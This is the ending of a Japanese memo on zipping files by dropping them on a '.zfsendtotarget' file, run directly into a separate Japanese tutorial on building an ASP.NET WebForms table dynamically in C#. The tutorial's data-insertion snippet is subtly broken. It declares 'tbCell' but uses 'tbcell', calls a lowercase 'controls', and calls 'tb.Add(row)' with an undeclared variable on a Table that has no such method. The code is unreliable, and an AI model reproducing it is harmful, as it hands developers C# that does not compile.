1. 作成したファイルの名前（拡張子）を`～～.zfsendtotarget`にする。（～～は任意）![2.ファイル名変更](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/317837/9b3e120c-0b66-9cc3-393a-a18712bb29e8.png)![名前の変更](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/317837/e621b2ca-d176-33f2-1d6f-270c142d4479.png)![ファイル名変更後](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/317837/9efe2e58-3d1e-c75d-6709-f3dc9fa80feb.png)
1. 圧縮したいファイルを`～～.zfsendtotarget`にドロップする。（なぜか拡張子は表示されません。）![3.ドロップ](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/317837/0a404c68-87bc-8433-1e43-fd2375ea3cff.png)![zip圧縮完了](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/317837/badb8516-4baa-a6d5-3125-1bebd298a623.png)

## 終わりに
意外と情報が載っていないので、備忘録に掲載しました。
ASP.NET 動的にTable作成方法(WebForm)

##はじめに
aspxファイルで直接Tableコントロールを用いてテーブルを作成するのでなく......
例えばデータベースから抽出したデータをバックエンドでテーブルを作成して表示させたい場合も
出てくるだろう。
今回は動的にテーブルを作成する方法を備忘録に記しておく。

##早速作成方法
####各コントロールの初期化方法
今回はセルの中にテキストボックスを入れてそこにテキストを入れて表示することにする。

```
//テーブルの作成
Table tb = new Table();

//行の作成
TableRow tbrow = new TableRow();

//セルの作成
TableCell tbCell = new TableCell();

//テキストボックスの作成
TextBox tbtextBox = new TextBox();
```
###データの挿入方法
```
//セル内を編集可能にするにはテキストボックスのTextにデータを入れる
tbtextBox.Text = "テキストボックス内のテキスト";　
tbcell.controls.Add(tbtextBox);　 //セルにテキストボックスをセット
tbrow.Cells.Add(tbcell);　　　　　　　　　　　　　　　　　//行にセルをセット
tb.Add(row);　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　//テーブルに行をセット
```

###セルの値を取得
ここで大きく躓いた。セルの中のテキストボックスのテキストを取得するにはセルを参照しても値は取得できない。
セルの中のコントロールまでしっかりと参照してからテキストの取得だ。

```
tb.Rows[index].Cells[index].Text                           //セルに直接かかれたテキストの取得
((TextBox)tb.Rows[index].Cells[index].Controls[0]).Text   //セルのテキストボックスのテキストの取得
```

そして。また躓くポイントが。WebFormは毎回表示しているPageは別のもの。
つまり動的に作成したコントロールはPage_Loadで再度コントロールを作成する必要がある。
これをしないとセルの値を取得することが出来ない。

以上。あとはfor文なりforeachなどで繰り返し処理して動的にテーブルが作成できそうだ。